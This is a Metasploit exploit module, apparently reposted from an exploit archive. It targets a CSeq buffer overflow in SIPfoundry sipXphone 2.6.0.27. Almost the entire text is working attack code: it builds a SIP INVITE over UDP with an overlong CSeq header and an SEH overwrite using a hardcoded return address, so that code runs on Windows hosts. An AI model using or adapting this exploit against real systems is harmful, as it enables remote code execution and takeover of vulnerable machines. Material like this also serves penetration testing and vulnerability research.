SIPfoundry sipXphone 2.6.0.27 – CSeq Buffer Overflow (Metasploit)
## # $Id: sipxphone_cseq.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in SIPfoundry's sipXphone 2.6.0.27. By sending an overly long CSeq value, a remote attacker could overflow a buffer and execute arbitrary code on the system with the privileges of the affected application. }, 'Author' => 'MC', 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2006-3524' ], [ 'OSVDB', '27122' ], [ 'BID', '18906' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0a\x20\x09\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jul 10 2006', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(5060) ], self.class) end def exploit connect_udp user = rand_text_english(2, payload_badchars) port = rand(65535).to_s filler = rand_text_english(212, payload_badchars) seh = generate_seh_payload(target.ret) filler[204, seh.length] = seh sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n" sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n" sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n" sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n" sploit << "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n" sploit << "CSeq: " + filler + "\r\n" sploit << "Max-Forwards: 20" + "\r\n" sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n" print_status("Trying target #{target.name}...") udp_sock.put(sploit) handler disconnect_udp end end |